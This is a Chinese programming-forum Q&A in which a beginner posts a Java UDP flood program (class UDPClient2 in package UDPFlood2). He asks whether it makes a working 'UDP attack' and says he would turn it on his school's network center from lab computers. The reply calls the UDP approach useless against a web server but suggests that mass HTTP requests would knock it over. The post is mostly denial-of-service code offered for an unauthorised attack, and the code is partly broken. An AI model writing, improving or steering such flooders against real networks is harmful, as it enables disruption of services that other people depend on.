当前位置:编程学习 > JAVA >>

刚学JAVA网络编程,求教大神人物,怎么进行UDP攻击,是不是使用JAVA的DatagramPacket和DatagramSocket发送数据包

  DatagramPacket是用于打包数据的类,DatagramSocket的send()方法用于发送数据包,高手们都懂的,我只是刚刚学习JAVA网络编程
  假设我用多台电脑安装了我写的JAVA攻击程序(我用JAVA写了一个带GUI的软件,提供100KB/S-100MB/S的发包速度),攻击一台已经打开了8080端口的Web服务器,是不是这样就算是“UDP攻击”了?
  我在虚拟机里面搭建了一个Web服务器,用netstat -a命令查看,8080端口确实已经是打开的,但是我以300MB/S的速度向虚拟机的服务器发包,似乎没有觉察到网络堵塞的现象(打开网页很流畅,看电影流畅)。我初学网络编程,不知道我的思路是不是正确的,还请教高人指教,如果是的话,我可以用学校实验室的电脑向学校的网络中心发包。

这是一段简化了的代码

package UDPFlood2;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import Network.UDPClient;

public class UDPClient2 extends Thread
{
    static DatagramSocket DSocket;
    static DatagramPacket DPacket;
    public UDPClient2()
    {
new Thread(this).start();
    }
    public void run()
    {
try
{
    DSocket = new DatagramSocket();
    Socket socket = new Socket("localhost", 8080);
    String str = "11111111111111111111111";// 垃圾信息
    byte[] arr = new byte[500000];
    arr = str.getBytes();
    DPacket = new DatagramPacket(arr, arr.length, InetAddress.getByName("localhost"), 8080);
    while(true)
    {
DSocket.send(DPacket);
Thread.currentThread().sleep(10);
    }
} catch (Exception e)
{
    e.printStackTrace();
}
    }
    protected void finalize() throws Throwable
    {
DSocket.close();
System.exit(0);
    }
    public static void main(String[] args)
    {
new UDPClient2();
    }
}
--------------------编程问答-------------------- 你发包人家接受没有啊,web服务器基于HTTP请求
如果你可以一直发HTTP请求,发N多,发N个 我相信它会挂

发个UDP数据包就让对方挂,凭什么啊!人家不理你的!
建议先学习网络协议的基础知识,不要好高骛远!
补充:Java ,  Java SE
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,